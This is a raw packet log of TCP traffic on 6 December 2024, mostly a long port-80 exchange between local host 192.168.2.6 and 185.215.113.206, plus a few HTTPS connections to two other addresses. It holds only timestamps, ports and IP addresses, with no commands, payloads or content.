Dec 6, 2024 18:45:46.406578064 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.407455921 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.407522917 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.407630920 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.407766104 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.408489943 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.408986092 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.409045935 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.409564018 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.409616947 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.409799099 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.409843922 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.410629034 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.410677910 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.410943985 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.411185980 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.411673069 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.411725044 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.412221909 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.412345886 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.412811995 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.412827969 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.412869930 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.413851976 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.413928032 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.414700985 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.414761066 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.414921045 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.415019035 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.415283918 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.415365934 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.415998936 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.416166067 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.416187048 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.416212082 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.417059898 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.417157888 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.417244911 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.417378902 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.418181896 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.418246984 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.418287039 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.418322086 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.419264078 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.419322014 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.419711113 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.419756889 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.420352936 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.420396090 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.420595884 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.420717955 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.421366930 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.421426058 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.421447039 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.421931982 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.422456026 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.422507048 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.422602892 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.422669888 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.423527002 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.423589945 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.423593044 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.423619986 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.424598932 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.424648046 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.424729109 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.424833059 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.425698996 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.425769091 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.425771952 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.425816059 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.426879883 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.426953077 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.427072048 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.427218914 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.427920103 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.427932978 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.427989960 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.428869963 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.428936005 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.428977966 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.429133892 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.430069923 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.430218935 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.431097031 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.431160927 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.431197882 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.432125092 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.432171106 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.432244062 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.433175087 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.433300972 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.433357000 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.434263945 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.434515953 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.435364962 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.435421944 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.435508013 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.435849905 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.436407089 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.436469078 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.436506987 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.436547995 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.437453032 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.437508106 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.437632084 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.437998056 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.438524008 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.438570976 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.439003944 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.439055920 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.439632893 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.439718962 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.439750910 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.439893961 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.440656900 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.440718889 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.441184044 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.441242933 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.441781044 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.441843987 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.442008018 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.442051888 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.442816973 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.442883015 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.443207026 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.443259954 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.444113016 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.444197893 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.444370985 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.444421053 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.444953918 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.445014000 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.445600033 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.445666075 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.446032047 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.446089983 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.446096897 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.446127892 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.447124004 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.447182894 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.447577953 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.447685003 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.448194981 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.448281050 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.448329926 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.449423075 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.449435949 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.449506044 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.450364113 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.450432062 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.450469971 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.450700998 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.451436043 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.451508045 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.451565981 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.451651096 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.452472925 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.452620029 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.452673912 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.453571081 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.453608990 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.453707933 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.454669952 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.454741955 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.454756975 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.454962969 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.455684900 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.455746889 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.456276894 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.456783056 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.456813097 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.456845999 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.457226038 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.457289934 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.458417892 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.458492994 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.458502054 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.458738089 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.458965063 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.459069014 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.459116936 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.460036993 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.460202932 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.460489988 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.460546017 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.530014992 CET	49811	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:46.530044079 CET	443	49811	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:46.530622959 CET	49811	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:46.532084942 CET	49811	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:46.532099009 CET	443	49811	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:46.578591108 CET	49812	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:46.578648090 CET	443	49812	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:46.579706907 CET	49812	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:46.580055952 CET	49812	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:46.580069065 CET	443	49812	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:46.595431089 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.595508099 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.595511913 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.595560074 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.595928907 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.595973015 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.595980883 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.596050024 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.597218037 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.597321033 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.597407103 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.598063946 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.598139048 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.598253012 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.598831892 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.599126101 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.599184990 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.600229979 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.600243092 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.600255966 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.600305080 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.600328922 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.601303101 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.601372957 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.602061987 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.602133036 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.602374077 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.602740049 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.602757931 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.602958918 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.603462934 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.603523970 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.604252100 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.604321003 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.604537964 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.604597092 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.604619026 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.604751110 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.605583906 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.605645895 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.606048107 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.606179953 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.606678963 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.606739998 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.607743025 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.607753992 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.607827902 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.607847929 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.607892990 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.608839989 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.608915091 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.608932972 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.609509945 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.609878063 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.609935045 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.610232115 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.610287905 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.610969067 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.611038923 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.611047983 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.611083031 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.612070084 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.612497091 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.612579107 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.613101959 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.613289118 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.613351107 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.614213943 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.614273071 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.614453077 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.614504099 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.615250111 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.615318060 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.616197109 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.616267920 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.616363049 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.616374969 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.616420984 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.617408037 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.617484093 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.617564917 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.617738008 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.618526936 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.618586063 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.619098902 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.619159937 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.619541883 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.619597912 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.619678974 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.619832039 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.620682001 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.620744944 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.620783091 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.620892048 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.621675968 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.621733904 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.621963978 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.622271061 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.622781992 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.622847080 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.622878075 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.623039007 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.623929977 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.624006987 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.624253988 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.624315023 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.624941111 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.625011921 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.625027895 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.625128031 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.626009941 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.626080036 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.626187086 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.627063036 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.627135992 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.627140045 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.627185106 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.628133059 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.628197908 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.628519058 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.628715992 CET	49813	443	192.168.2.6	2.18.40.150
Dec 6, 2024 18:45:46.628735065 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.628765106 CET	443	49813	2.18.40.150	192.168.2.6
Dec 6, 2024 18:45:46.629200935 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.629287958 CET	49813	443	192.168.2.6	2.18.40.150
Dec 6, 2024 18:45:46.629412889 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.629587889 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.630250931 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.630284071 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.630410910 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.630440950 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.630580902 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.631362915 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.631443024 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.631751060 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.632436991 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.632584095 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.632662058 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.633510113 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.633584023 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.634140015 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.634222984 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:46.634613991 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:46.634627104 CET	80	49796	185.215.113.206	192.168.2.6
